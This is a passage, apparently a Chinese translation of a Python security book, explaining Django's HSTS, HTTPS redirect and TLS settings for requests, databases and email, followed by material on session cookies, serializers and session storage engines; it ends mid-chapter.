服务器使用 HTTP Strict-Transport-Security(HSTS)响应头告诉浏览器只能通过 HTTPS 访问。例如,服务器将使用以下响应头指示浏览器在接下来的 3600 秒(1 小时)内只能通过 HTTPS 访问:

Strict-Transport-Security: max-age=3600

冒号右侧的键值对,以粗体字显示,被称为指令。指令用于参数化 HTTP 头。在这种情况下,max-age指令表示浏览器应该仅在 HTTPS 上访问站点的时间,以秒为单位。

确保您的 Django 应用程序的每个响应都具有带有SECURE_HSTS_SECONDS设置的 HSTS 头。分配给此设置的值将转换为头文件的max-age指令。任何正整数都是有效值。

警告:如果您正在处理已经投入生产的系统,请非常小心处理SECURE_HSTS_SECONDS。此设置适用于整个站点,而不仅仅是请求的资源。如果您的更改导致任何问题,影响可能会持续与max-age指令值一样长。因此,向具有较大max-age指令的现有系统添加 HSTS 头是有风险的。逐步增加SECURE_HSTS_SECONDS从一个小数字开始是一个更安全的部署更改的方法。多小?问问自己如果出现问题,您可以承受多少停机时间。

服务器使用includeSubDomains指令发送 HSTS 响应头,告诉浏览器除了域名之外,所有子域都应该仅通过 HTTPS 访问。例如,alice.com 将使用以下响应头指示浏览器,alice.com 和 sub.alice.com 应该仅通过 HTTPS 访问:

Strict-Transport-Security: max-age=3600; includeSubDomains

SECURE_HSTS_INCLUDE_SUBDOMAINS设置配置 Django 发送带有includeSubDomains指令的 HSTS 响应头。该设置默认为False,如果SECURE_HSTS_SECONDS不是正整数,则会被忽略。

警告:与SECURE_HSTS_SECONDS相关的每个风险都适用于SECURE_HSTS_INCLUDE_SUBDOMAINS。糟糕的部署可能会影响每个子域,持续时间为max-age指令值。如果您正在处理已经投入生产的系统,请从一个小值开始。

6.5.3 HTTPS 重定向

HSTS 头是一个很好的防御层,但作为响应头只能做到这么多;浏览器必须先发送请求,然后才能接收到 HSTS 头。因此,在初始请求结束时将浏览器重定向到 HTTPS 是很有用的。例如,对于 http:/./alice.com 的请求应该被重定向到 https:/./alice.com。

通过将SECURE_SSL_REDIRECT设置为True,确保您的 Django 应用程序将 HTTP 请求重定向到 HTTPS。将此设置分配为True会激活另外两个设置,SECURE_REDIRECT_EXEMPTSECURE_SSL_HOST,下面将介绍这两个设置。

警告:SECURE_SSL_REDIRECT默认为False。如果您的站点使用 HTTPS,则应将其设置为True

SECURE_REDIRECT_EXEMPT设置是用于暂停某些 URL 的 HTTPS 重定向的正则表达式列表。如果此列表中的正则表达式与 HTTP 请求的 URL 匹配,Django 将不会将其重定向到 HTTPS。此列表中的项目必须是字符串,而不是实际编译的正则表达式对象。默认值为空列表。

SECURE_SSL_HOST 设置用于覆盖 HTTPS 重定向的主机名。如果此值设置为 bob.com,Django 将永久重定向对 http:/./alice.com 的请求到 https:/./bob.com 而不是 https:/./alice.com。默认值为 None

到目前为止,你已经学到了很多关于浏览器和 Web 服务器如何通过 HTTPS 通信的知识;但浏览器并不是唯一的 HTTPS 客户端。在下一节中,你将看到如何在 Python 中以编程方式发送请求时使用 HTTPS。

6.6 TLS 和 requests 包

requests 包是 Python 中流行的 HTTP 库。许多 Python 应用程序使用此包在其他系统之间发送和接收数据。在本节中,我将介绍几个与 TLS 相关的功能。在你的虚拟环境中,使用以下命令安装 requests

$ pipenv install requests

当 URL 方案为 HTTPS 时,requests 包会自动使用 TLS。下面代码中粗体显示的 verify 关键字参数禁用了服务器身份验证。此参数不会禁用 TLS;它放宽了 TLS。对话仍然是保密的,但服务器不再被验证:

>>> requests.get('https://www.python.org', verify=False)
connectionpool.py:997: InsecureRequestWarning: Unverified HTTPS request is
being made to host 'www.python.org'. Adding certificate verification is
strongly advised.
<Response [200]>

显然,此功能在生产环境中是不合适的。它在集成测试环境中通常很有用,当系统需要与没有静态主机名的服务器通信时,或者与使用自签名证书的服务器通信时。

TLS 身份验证是双向的:除了服务器之外,客户端也可以被验证。TLS 客户端通过公钥证书和私钥进行自身验证,就像服务器一样。requests 包支持使用 cert 关键字参数进行客户端身份验证。下面代码中粗体显示的这个 kwarg 期望一个两部分元组。此元组表示证书和私钥文件的路径。verify kwarg 不影响客户端身份验证;cert kwarg 不影响服务器身份验证:

>>> url = 'https://www.python.org'
>>> cert = ('/path/to/certificate.pem', '/path/to/private_key.pem')
>>> requests.get(url, cert=cert)
<Response [200]>

或者,verifycert 关键字参数的功能可以通过 requestsSession 对象的属性来实现,如下所示:

>>> session = requests.Session()
>>> session.verify=False
>>> cert = ('/path/to/certificate.pem', '/path/to/private_key.pem')
>>> session.cert = cert
>>> session.get('https://www.python.org')
<Response [200]>

TLS 不仅适用于 HTTP。数据库流量、电子邮件流量、Telnet、轻量级目录访问协议(LDAP)、文件传输协议(FTP)等都可以运行在 TLS 上。这些协议的 TLS 客户端具有比浏览器更多的“个性”。这些客户端在能力上差异很大,并且它们的配置更具供应商特定性。本章以超出 HTTP 范围的 TLS 两个用例结束:

  • 数据库连接

  • 电子邮件

6.7 TLS 和数据库连接

应用程序应确保数据库连接也使用 TLS 进行安全连接。TLS 确保你的应用程序连接到正确的数据库,并且从数据库写入和读取的数据不能被网络攻击者拦截。

Django 数据库连接由 DATABASES 设置管理。该字典中的每个条目代表不同的数据库连接。以下清单展示了默认的 Django DATABASES 设置。ENGINE 键指定了 SQLite,一个基于文件的数据库。NAME 键指定了存储数据的文件。

清单 6.7 默认的 Django DATABASES 设置

DATABASES = {
   'default': {
       'ENGINE': 'django.db.backends.sqlite3',
       'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),    # ❶
   }
}

❶ 在项目根目录的 db.sqlite3 中存储数据

默认情况下,SQLite 将数据存储为明文。很少有 Django 应用程序使用 SQLite 进入生产环境。大多数生产 Django 应用程序将通过网络连接到数据库。

数据库网络连接需要通用的自解释字段:NAMEHOSTPORTUSERPASSWORD。另一方面,TLS 配置对每个数据库都是特定的。供应商特定的设置由 OPTIONS 字段处理。此清单展示了如何配置 Django 以在 PostgreSQL 中使用 TLS。

清单 6.8 安全地使用 Django 与 PostgreSQL

DATABASES = {
   "default": {
       "ENGINE": "django.db.backends.postgresql",
       "NAME": "db_name",
       "HOST": db_hostname,
       "PORT": 5432,
       "USER": "db_user",
       "PASSWORD": db_password,
       "OPTIONS": {                     # ❶
           "sslmode": "verify-full",    # ❶
       },                               # ❶
   }
}

❶ 供应商特定的配置设置位于 OPTIONS 下

不要假设每个 TLS 客户端都像浏览器一样执行服务器身份验证。如果未配置,TLS 客户端可能不会验证服务器的主机名。例如,PostgreSQL 客户端在连接时以两种模式验证证书的签名:verify-caverify-full。在 verify-ca 模式下,客户端不会根据证书的通用名称验证服务器主机名。这种检查只在 verify-full 模式下执行。

注意:加密数据库流量不能替代加密数据库本身;请始终同时进行。请查阅您的数据库供应商文档,了解更多关于数据库级加密的信息。

6.8 TLS 和电子邮件

Django 对电子邮件的回应是 django.core.mail 模块,这是 Python 的 smtplib 模块的包装 API。Django 应用程序使用简单邮件传输协议(SMTP)发送电子邮件。这种流行的电子邮件协议通常使用端口 25。与 HTTP 类似,SMTP 是上世纪 80 年代的产物。它不会尝试确保机密性或身份验证。

攻击者极有动机发送和接收未经授权的电子邮件。任何易受攻击的电子邮件服务器都可能成为垃圾邮件收入的潜在来源。攻击者可能希望未经授权地访问机密信息。许多网络钓鱼攻击都是从受攻击的电子邮件服务器发起的。

组织通过在传输中加密电子邮件来抵御这些攻击。为防止网络窃听者拦截 SMTP 流量,必须使用 SMTPS。这只是 TLS 上的 SMTP。SMTP 和 SMTPS 类似于 HTTP 和 HTTPS。您可以通过下面两节中介绍的设置将连接从 SMTP 升级到 SMTPS。

6.8.1 隐式 TLS

有两种启动到电子邮件服务器的 TLS 连接的方式。RFC 8314 将传统方法描述为“客户端建立明文应用程序会话……随后进行 TLS 握手,可以升级连接。” RFC 8314 推荐“一种在连接开始时立即进行 TLS 协商的替代机制,使用单独的端口。” 推荐的机制称为 隐式 TLS

EMAIL_USE_SSLEMAIL_USE_TLS 设置配置 Django 以通过 TLS 发送电子邮件。这两个设置默认为 False,只能有一个设置为 True,而且两者都不直观。合理的观察者会假设 EMAIL_USE_TLS 优于 EMAIL_USE_SSL。毕竟,TLS 在安全性和性能方面多年来取代了 SSL。不幸的是,隐式 TLS 是由 EMAIL_USE_SSL 而不是 EMAIL_USE_TLS 配置的。

使用 EMAIL_USE_TLS 比什么都不用要好,但是如果您的电子邮件服务器支持隐式 TLS,请使用 EMAIL_USE_SSL。我不知道为什么 EMAIL_USE_SSL 没有命名为 EMAIL_USE_IMPLICIT_TLS

6.8.2 电子邮件客户端身份验证

requests 包一样,Django 的电子邮件 API 支持 TLS 客户端身份验证。EMAIL_SSL_KEYFILEEMAIL_SSL_CERTFILE 设置代表私钥和客户端证书的路径。如果未启用 EMAIL_USE_TLSEMAIL_USE_SSL,这两个选项都不起作用,这是预期的。

不要假设每个 TLS 客户端都执行服务器身份验证。在撰写本文时,不幸的是 Django 在发送电子邮件时不执行服务器身份验证。

注意:与数据库流量一样,加密传输中的电子邮件不能替代加密静态电子邮件;一定要两者都做。大多数供应商会自动为您加密静态电子邮件。如果没有,请查阅您的电子邮件供应商文档,了解更多关于静态电子邮件加密的信息。

6.8.3 SMTP 身份验证凭据

EMAIL_USE_TLSEMAIL_USE_SSL 不同,EMAIL_HOST_USEREMAIL _HOST_PASSWORD 设置是直观的。这些设置代表 SMTP 认证凭据。SMTP 在传输过程中不会试图隐藏这些凭据;如果没有 TLS,它们很容易成为网络窃听者的目标。以下代码演示了在以编程方式发送电子邮件时如何覆盖这些设置。

清单 6.9 在 Django 中以编程方式发送电子邮件

from django.core.mail import send_mail

send_mail('subject',
         'message',
         'alice@python.org',                    # ❶
         ['bob@python.org'],                    # ❷
         auth_user='overridden_user_name',      # ❸
         auth_password='overridden_password')   # ❹

❶ 发件人电子邮件

❷ 收件人列表

❸ 覆盖 EMAIL_HOST_USER

❹ 覆盖 EMAIL_HOST_PASSWORD

在本章中,您学到了关于 TLS 的很多知识,这是传输中的加密行业标准。您知道此协议如何保护服务器和客户端。您知道如何将 TLS 应用于网站、数据库和电子邮件连接。在接下来的几章中,您将使用此协议安全地传输诸如 HTTP 会话 ID、用户身份验证凭据和 OAuth 令牌等敏感信息。您还将在本章中创建的 Django 应用程序的基础上构建几个安全的工作流程。

概要

  • SSL、TLS 和 HTTPS 不是同义词。

  • 中间人攻击有两种形式:被动和主动。

  • TLS 握手建立了一个密码套件、一个共享密钥和服务器身份验证。

  • Diffie-Hellman 方法是密钥分发问题的高效解决方案。

  • 公钥证书类似于您的驾驶执照。

  • Django 不负责 HTTPS;Gunicorn 负责。

  • TLS 身份验证适用于客户端和服务器。

  • TLS 除了保护 HTTP 外,还保护数据库和电子邮件流量。

第二部分:认证与授权

本书的第二部分是最具商业价值的部分。我这样说是因为它充满了大多数系统需要具备的实用工作流示例:注册和验证用户、管理用户会话、更改和重置密码、管理权限和组成员、以及共享资源。本书的这部分主要关注的是安全地完成工作。

第七章:HTTP 会话管理

本章涵盖

  • 理解 HTTP cookie

  • 在 Django 中配置 HTTP 会话

  • 选择一个 HTTP 会话状态持久化策略

  • 防止远程代码执行攻击和重放攻击

在上一章中,你学习了有关 TLS 的知识。在本章中,你将在此基础上继续学习。你将了解如何使用 cookie 实现 HTTP 会话。你还将学习如何在 Django 中配置 HTTP 会话。在此过程中,我将向你展示如何安全地实现会话状态持久化。最后,你将学习如何识别和抵抗远程代码执行攻击和重放攻击。

7.1 什么是 HTTP 会话?

HTTP 会话 对于除了最简单的 Web 应用程序之外的所有应用程序都是必需的。Web 应用程序使用 HTTP 会话来隔离每个用户的流量、上下文和状态。这是每种在线交易的基础。如果你在亚马逊购物,Facebook 上与某人通信,或者从银行转账,服务器必须能够在多个请求中识别你。

假设 Alice 第一次访问维基百科。Alice 的浏览器对维基百科不熟悉,因此它创建了一个会话。维基百科生成并存储了此会话的 ID。该 ID 在 HTTP 响应中发送给 Alice 的浏览器。Alice 的浏览器保存会话 ID,并在所有后续请求中将其发送回维基百科。当维基百科接收到每个请求时,它使用传入的会话 ID 来识别与请求相关联的会话。

现在假设维基百科为另一个新访客 Bob 创建了一个会话。像 Alice 一样,Bob 被分配了一个唯一的会话 ID。他的浏览器存储了他的会话 ID,并在每个后续请求中发送回来。维基百科现在可以使用会话 ID 来区分 Alice 的流量和 Bob 的流量。图 7.1 说明了这个协议。

CH07_F01_Byrne

图 7.1 维基百科管理两个用户 Alice 和 Bob 的会话。

Alice 和 Bob 的会话 ID 保持私密非常重要。如果 Eve 窃取了会话 ID,她可以使用它来冒充 Alice 或 Bob。包含 Bob 被劫持的会话 ID 的 Eve 的请求看起来与 Bob 的合法请求没有任何区别。许多利用漏洞,其中一些在本书中专门有章节介绍,都依赖于窃取或未经授权控制会话 ID。这就是为什么会话 ID 应该通过 HTTPS 而不是 HTTP 进行机密发送和接收。

你可能已经注意到一些网站使用 HTTP 与匿名用户通信,使用 HTTPS 与经过身份验证的用户通信。恶意网络窃听者通过尝试在 HTTP 上窃取会话 ID,等待用户登录,然后在 HTTPS 上劫持用户账户来攻击这些网站。这被称为会话嗅探

Django,像许多 Web 应用程序框架一样,通过在用户登录时更改会话标识符来防止会话嗅探。为了保险起见,Django 无论协议是否从 HTTP 升级到 HTTPS 都会这样做。我建议增加一个额外的防御层:只为您的整个网站使用 HTTPS。

管理 HTTP 会话可能是一项挑战;本章涵盖了许多解决方案。每种解决方案都有不同的安全权衡,但它们都有一个共同点:HTTP cookies。

7.2 HTTP cookies

浏览器存储和管理称为cookies的小量文本。一个 cookie 可以由您的浏览器创建,但通常由服务器创建。服务器通过响应将 cookie 发送到您的浏览器。浏览器在随后对服务器的请求中回显 cookie。

网站和浏览器使用 cookies 进行会话 ID 通信。当创建新的用户会话时,服务器将会话 ID 作为 cookie 发送到浏览器。服务器使用Set-Cookie响应头将 cookie 发送到浏览器。此响应头包含表示 cookie 名称和值的键值对。默认情况下,Django 会话 ID 与名为sessionid的 cookie 通信,如以下粗体字所示:

Set-Cookie: sessionid=<cookie-value>

Cookies 通过Cookie请求头在随后的请求中回显到服务器。该头部是一个以分号分隔的键值对列表。每对代表一个 cookie。以下示例说明了发送至 alice.com 的请求的一些头部。粗体显示的Cookie头部包含两个 cookie:

...
Cookie: sessionid=cgqbyjpxaoc5x5mmm9ymcqtsbp7w7cn1; key=value;    # ❶
Host: alice.com
Referer: https:/./alice.com/admin/login/?next=/admin/
...

❶ 向 alice.com 发送两个 cookie

Set-Cookie响应头可以容纳多个指令。当 cookie 是会话 ID 时,这些指令与安全相关。我在第十四章中涵盖了HttpOnly指令。我在第十六章中涵盖了SameSite指令。在本节中,我涵盖了以下三个指令:

  • 安全

  • Max-Age

7.2.1 安全指令

服务器通过使用安全指令发送会话 ID cookie 来抵抗中间人攻击。以下是一个示例响应头,其中安全指令以粗体显示:

Set-Cookie: sessionid=<session-id-value>; Secure

安全指令禁止浏览器通过 HTTP 将 cookie 发送回服务器。这确保 cookie 只会通过 HTTPS 传输,防止网络窃听者拦截会话 ID。

SESSION_COOKIE_SECURE设置是一个布尔值,它向会话 ID Set-Cookie头部添加或删除安全指令。您可能会惊讶地发现,该设置默认为False。这使得新的 Django 应用程序可以立即支持用户会话;这也意味着会话 ID 可能会被中间人攻击拦截。

警告:您必须确保在系统的所有生产部署中将SESSION_COOKIE_SECURE设置为True。Django 不会为您执行此操作。

提示 在更改 settings 模块后,必须重新启动 Django 才能生效。要重新启动 Django,请在你的 shell 中按 Ctrl-C 停止服务器,然后再次使用 gunicorn 启动。

7.2.2 Domain 指令

服务器使用 Domain 指令来控制浏览器应该将会话 ID 发送到哪些主机。下面是一个示例响应头,其中 Domain 指令被加粗显示:

Set-Cookie: sessionid=<session-id-value>; Domain=alice.com

假设 alice.com 向浏览器发送一个不带 Domain 指令的 Set-Cookie 头部。没有 Domain 指令,浏览器会将 cookie 回显给 alice.com,但不会回显给子域名,比如 sub.alice.com。

现在假设 alice.com 发送了一个带有 Domain 指令设置为 alice.comSet-Cookie 头部。现在浏览器将 cookie 回显给 alice.com 和 sub.alice.com。这允许 Alice 在两个系统之间支持 HTTP 会话,但这不够安全。例如,如果 Mallory 黑入 sub.alice.com,她就能更轻松地威胁到 alice.com,因为来自 alice.com 的会话 ID 就这样交给了她。

SESSION_COOKIE_DOMAIN 设置配置了会话 ID 的 Set-Cookie 头部的 Domain 指令。此设置接受两个值:None 和表示域名的字符串,例如 alice.com。此设置默认为 None,省略响应头中的 Domain 指令。以下是一个示例配置设置:

SESSION_COOKIE_DOMAIN = "alice.com"      # ❶

❶ 从 settings.py 配置 Domain 指令

提示 Domain 指令有时会与 SameSite 指令混淆。为了避免这种混淆,请记住这种对比:Domain 指令与 cookie 去向 有关;SameSite 指令与 cookie 来源 有关。我在第十六章中研究了 SameSite 指令。

7.2.3 Max-Age 指令

服务器发送 Max-Age 指令来声明 cookie 的过期时间。以下是一个示例响应头,其中有一个加粗显示的 Max-Age 指令:

Set-Cookie: sessionid=<session-id-value>; Max-Age=1209600

一旦 cookie 过期,浏览器就不会再将其回显到它来自的站点。这种行为可能对你来说很熟悉。你可能已经注意到像 Gmail 这样的网站不会每次你返回时都强制你登录。但如果你有一段时间没有回来,你就会被迫重新登录。很有可能,你的 cookie 和 HTTP 会话已经过期。

选择站点的最佳会话长度归结为安全性与功能之间的权衡。极长的会话提供给攻击者一个易于攻击的目标,当浏览器处于无人看管状态时。另一方面,极短的会话强迫合法用户一遍又一遍地重新登录。

SESSION_COOKIE_AGE 设置配置了会话 ID 的 Set-Cookie 头部的 Max-Age 指令。此设置默认为 1,209,600 秒(两周)。对于大多数系统来说,这个值是合理的,但适当的值是特定于站点的。

7.2.4 浏览器长度的会话

如果设置的 Cookie 没有 Max-Age 指令,浏览器将在选项卡保持打开的时间内保持 Cookie 有效。这被称为浏览器长度会话。这些会话在用户关闭浏览器选项卡后无法被攻击者劫持。这似乎更安全,但是你如何强制每个用户在使用网站完成后关闭每个选项卡呢?此外,当用户不关闭浏览器选项卡时,会话实际上没有到期。因此,浏览器长度的会话会增加总体风险,通常应避免使用此功能。

浏览器长度会话由 SESSION_EXPIRE_AT_BROWSER_CLOSE 设置配置。将此设置为 True 将从会话 ID 的 Set-Cookie 头中删除 Max-Age 指令。Django 默认禁用浏览器长度会话。

我在本章中涵盖的响应头指令适用于任何 Cookie,而不仅仅是会话 ID。如果您通过编程方式设置 Cookie,则应考虑这些指令以限制风险。以下代码演示了在 Django 中设置自定义 Cookie 时如何使用这些指令。

列表 7.1 在 Django 中以编程方式设置 Cookie

from django.http import HttpResponse

response = HttpResponse()
response.set_cookie(
    'cookie-name',
    'cookie-value',
    secure=True,           # ❶
    domain='alice.com',    # ❷
    max_age=42, )          # ❸

❶ 浏览器将仅通过 HTTPS 发送此 Cookie。

❷ alice.com 和所有子域都将接收到此 Cookie。

❸ 在 42 秒后,此 Cookie 将过期。

到目前为止,您已经学到了有关服务器和 HTTP 客户端如何使用 Cookie 来管理用户会话的很多知识。至少,会话可以区分用户之间的流量。此外,会话还可以作为每个用户管理状态的一种方式。用户的名称、语言环境和时区是会话状态的常见示例。下一节将介绍如何访问和持久化会话状态。

7.3 会话状态持久性

像大多数 Web 框架一样,Django 使用 API 对用户会话进行建模。通过 session 对象,可以访问此 API,该对象是请求的属性。session 对象的行为类似于 Python 字典,通过键存储值。通过此 API 创建、读取、更新和删除会话状态;这些操作在下一个列表中进行演示。

列表 7.2 Django 会话状态访问

request.session['name'] = 'Alice'            # ❶
name = request.session.get('name', 'Bob')    # ❷
request.session['name'] = 'Charlie'          # ❸
del request.session['name']                  # ❹

❶ 创建会话状态条目

❷ 读取会话状态条目

❸ 更新会话状态条目

❹ 删除会话状态条目

Django 自动管理会话状态的持久性。会话状态在收到请求后从可配置的数据源加载和反序列化。如果会话状态在请求生命周期中被修改,Django 在发送响应时序列化并持久化修改。序列化和反序列化的抽象层称为会话序列化器

7.3.1 会话序列化器

Django 将会话状态的序列化和反序列化委托给可配置的组件。该组件由 SESSION_SERIALIZER 设置配置。Django 本地支持两个会话序列化器组件:

  • JSONSerializer,默认会话序列化器

  • PickleSerializer

JSONSerializer 将会话状态转换为 JSON 并从 JSON 转换回来。这种方法允许您将会话状态与基本的 Python 数据类型(如整数、字符串、字典和列表)组合在一起。以下代码使用 JSONSerializer 来序列化和反序列化一个字典,如粗体所示:

>>> from django.contrib.sessions.serializers import JSONSerializer
>>> 
>>> json_serializer = JSONSerializer()
>>> serialized = json_serializer.dumps({'name': 'Bob'})    # ❶
>>> serialized
b'{"name":"Bob"}'                                          # ❷
>>> json_serializer.loads(serialized)                      # ❸
{'name': 'Bob'}                                            # ❹

❶ 序列化一个 Python 字典

❷ 序列化的 JSON

❸ 反序列化 JSON

❹ 反序列化的 Python 字典

PickleSerializer 将会话状态转换为字节流并从字节流转换回来。顾名思义,PickleSerializer 是 Python pickle 模块的包装器。这种方法允许您存储任意 Python 对象以及基本的 Python 数据类型。一个应用���序定义的 Python 对象,如粗体所示,通过以下代码进行序列化和反序列化:

>>> from django.contrib.sessions.serializers import PickleSerializer
>>> 
>>> class Profile:
...     def __init__(self, name):
...         self.name = name
... 
>>> pickle_serializer = PickleSerializer()
>>> serialized = pickle_serializer.dumps(Profile('Bob'))          # ❶
>>> serialized
b'\x80\x05\x95)\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__...'   # ❷
>>> deserialized = pickle_serializer.loads(serialized)            # ❸
>>> deserialized.name                                             # ❹
'Bob'

❶ 序列化一个应用程序定义的对象

❷ 序列化的字节流

❸ 反序列化字节流

❹ 反序列化对象

JSONSerializerPickleSerializer 之间的权衡是安全性与功能性。JSONSerializer 是安全的,但无法序列化任意 Python 对象。PickleSerializer 执行此功能,但存在严重风险。pickle 模块文档给出了以下警告(docs.python.org/3/library/pickle.html):

pickle 模块不安全。只有信任的数据才能反序列化。可能构造恶意 pickle 数据,在反序列化过程中执行任意代码。永远不要反序列化可能来自不受信任来源或可能被篡改的数据。

如果攻击者能够修改会话状态,PickleSerializer 可能会被恶意滥用。我将在本章后面讨论这种形式的攻击;请继续关注。

Django 会自动使用会话引擎持久化序列化的会话状态。会话引擎 是对底层数据源的可配置抽象层。Django 提供了这五个选项,每个选项都有其自己的优缺点:

  • 简单基于缓存的会话

  • 写入缓存的会话

  • 基于数据库的会话,即默认选项

  • 基于文件的会话

  • 签名 cookie 会话

7.3.2 简单基于缓存的会话

简单 基于缓存的会话 允许您将会话状态存储在诸如 Memcached 或 Redis 之类的缓存服务中。缓存服务将数据存储在内存中而不是在磁盘上。这意味着您可以非常快速地存储和加载数据,但偶尔数据可能会丢失。例如,如果缓存服务的空间用完了,它将覆盖最近访问的旧数据以写入新数据。如果缓存服务重新启动,所有数据都会丢失。

缓存服务的最大优势,速度,与会话状态的典型访问模式相辅相成。会话状态经常被读取(在每个请求上)。通过将会话状态存储在内存中,整个站点可以减少延迟,增加吞吐量,同时提供更好的用户体验。

缓存服务的最大弱点,数据丢失,并不像其他用户数据那样适用于会话状态。在最坏的情况下,用户必须重新登录网站,重新创建会话。这是不可取的,但称其为数据丢失有些牵强。因此,会话状态是可以牺牲的,而且缺点是有限的。

存储 Django 会话状态的最流行和最快的方法是将简单基于缓存的会话引擎与 Memcached 等缓存服务结合使用。在settings模块中,将SESSION_ENGINE分配给django.contrib.sessions.backends.cache会配置 Django 用于简单基于缓存的会话。Django 本地支持两种 Memcached 缓存后端类型。

Memcached 后端

MemcachedCachePyLibMCCache是最快和最常用的缓存后端。CACHES设置配置了缓存服务集成。这个设置是一个字典,表示一组单独的缓存后端。第 7.3 节列举了两种配置 Django 用于 Memcached 集成的方法。MemcachedCache选项配置为使用本地回环地址;PyLibMCCache选项配置为使用 UNIX 套接字。

第 7.3 节 使用 Memcached 进行缓存

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',
        'LOCATION': '127.0.0.1:11211',        # ❶
    },
    'cache': {
        'BACKEND': 'django.core.cache.backends.memcached.PyLibMCCache',
        'LOCATION': '/tmp/memcached.sock',    # ❷
    }
}

❶ 本地回环地址

❷ UNIX 套接字地址

本地回环地址和 UNIX 套接字是安全的,因为到这些地址的流量不会离开机器。在撰写本文时,遗憾的是,Memcached 维基上的 TLS 功能被描述为“实验性”。

Django 支持四种额外的缓存后端。这些选项要么不受欢迎,要么不安全,或者两者兼而有之,因此我在这里简要介绍它们:

  • 数据库后端

  • 本地内存后端,默认选项

  • 虚拟后端

  • 文件系统后端

数据库后端

DatabaseCache选项配置 Django 使用您的数据库作为缓存后端。使用此选项可以让您有更多理由通过 TLS 发送数据库流量。没有 TLS 连接,您缓存的所有内容,包括会话 ID,都可以被网络窃听者访问。下一个列表说明了如何配置 Django 使用数据库后端进行缓存。

第 7.4 节 使用数据库进行缓存

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.db.DatabaseCache',
        'LOCATION': 'database_table_name',
    }
}

缓存服务和数据库之间的主要权衡是性能与存储容量之间的关系。您的数据库无法像缓存服务那样运行。数据库将数据持久化到磁盘;缓存服务将数据持久化到内存。另一方面,您的缓存服务永远无法存储与数据库一样多的数据。在会话状态不可牺牲的罕见情况下,这个选项是有价值的。

本地内存、虚拟和文件系统后端

LocMemCache将数据缓存在本地内存中,只有一个位置极佳的攻击者才能访问。DummyCache是比LocMemCache更安全的唯一选项,因为它不存储任何内容。这些选项,如下列表所示,非常安全,但在开发或测试环境之外并不实用。Django 默认使用LocMemCache

列表 7.5 使用本地内存进行缓存,或者什么都不使用

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
    },
    'dummy': {
        'BACKEND': 'django.core.cache.backends.dummy.DummyCache',
    }
}

正如您可能已经猜到的,FileBasedCache 不受欢迎且不安全。FileBasedCache 用户不必担心它们的未加密数据是否会被发送到网络;相反,它会被写入文件系统,如下所示。

列表 7.6 使用文件系统进行缓存

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/file_based_cache',
    }
}

7.3.3 基于写透式缓存的会话

基于写透式缓存的会话允许您将缓存服务和数据库组合起来管理会话状态。在这种方法下,当 Django 将会话状态写入缓存服务时,该操作也将“写透”到数据库中。这意味着会话状态是持久的,但写入性能会受到影响。

当 Django 需要读取会话状态时,它首先从缓存服务中读取,然后才考虑使用数据库。因此,您在读取操作上偶尔会受到性能影响。

SESSION_ENGINE 设置为 django.contrib.sessions.backends.cache_db 将启用基于写透式缓存的会话。

7.3.4 基于数据库的会话引擎

基于数据库的会话完全绕过了 Django 的缓存集成。如果您选择不将应用程序与缓存服务集成,这个选项非常有用。通过将 SESSION_ENGINE 设置为 django.contrib.sessions.backends.db 来配置基于数据库的会话。这是默认行为。

Django 不会自动清理被放弃的会话状态。使用持久会话的系统将需要确保定期调用 clearsessions 子命令。这将有助于您减少存储成本,但更重要的是,如果您在会话中存储敏感数据,它将有助于您减小攻击面的大小。下面的命令,从项目根目录执行,演示了如何调用 clearsessions 子命令:

$ python manage.py clearsessions

7.3.5 基于文件的会话引擎

正如您可能已经猜到的,这个选项极不安全。每个基于文件的会话都被序列化为一个文件。会话 ID 在文件名中,会话状态以未加密形式存储。任何拥有文件系统读取权限的人都可以劫持会话或查看会话状态。将 SESSION_ENGINE 设置为 django.contrib.sessions.backends.file 将配置 Django 将会话状态存储在文件系统中。

基于 cookie 的会话引擎将会话状态存储在会话 ID cookie 中。换句话说,使用此选项时,会话 ID cookie 不仅仅 标识 会话;它 会话。Django 不是将会话存储在本地,而是将整个会话序列化并发送到浏览器。然后,当浏览器在后续请求中回显它时,Django 会对有效载荷进行反序列化。

在将会话状态发送到浏览器之前,基于 cookie 的会话引擎使用 HMAC 函数对会话状态进行哈希处理。(您在第三章学习了 HMAC 函数。)从 HMAC 函数获取的哈希值与会话状态配对;Django 将它们一起作为会话 ID cookie 发送到浏览器。

当浏览器回显会话 ID cookie 时,Django 提取哈希值并验证会话状态。Django 通过对入站会话状态进行哈希处理并比较新的哈希值和旧的哈希值来执行此操作。如果哈希值不匹配,Django 知道会话状态已被篡改,并拒绝请求。如果哈希值匹配,Django 信任会话状态。图 7.2 说明了这个往返过程。

CH07_F02_Byrne

图 7.2 Django 对发送的内容进行哈希处理,并对接收到的内容进行身份验证。

之前,您学习到 HMAC 函数需要一个密钥。Django 从 settings 模块中获取秘密密钥。

SECRET_KEY 设置

Django 应用程序的每个生成的应用程序都包含一个 SECRET_KEY 设置在 settings 模块中。这个设置很重要;它将在几个其他章节中重新出现。与流行观点相反,Django 并不使用 SECRET_KEY 来加密数据。相反,Django 使用此参数执行键控散列。此设置的值默认为唯一的随机字符串。在开发或测试环境中使用此值是可以的,但在生产环境中,重要的是从比您的代码存储库更安全的位置检索不同的值。

警告 SECRET_KEY 的生产值应保持三个属性。该值应该是唯一的、随机的,并且足够长。生成的默认值的长度为五十个字符,已经足够长了。不要将 SECRET_KEY 设置为密码或密码短语;没有人需要记住它。如果有人能记住这个值,系统就不够安全。在本章结束时,我会给你一个例子。

乍一看,基于 cookie 的会话引擎可能看起来是一个不错的选择。Django 使用 HMAC 函数对每个请求的会话状态进行身份验证和完整性验证。不幸的是,这个选项有许多缺点,其中一些是有风险的:

  • Cookie 大小限制

  • 未经授权的会话状态访问

  • 重放攻击

  • 远程代码执行攻击

Cookie 大小限制

文件系统和数据库用于存储大量数据;而 cookie 则不是。RFC 6265 要求 HTTP 客户端支持“每个 cookie 至少 4096 字节”(tools.ietf.org/html/rfc6265#section-5.3)。HTTP 客户端可以支持更大的 cookie,但不是必须的。因此,序列化的基于 cookie 的 Django 会话应保持在 4 KB 以下的大小。

未经授权的会话状态访问

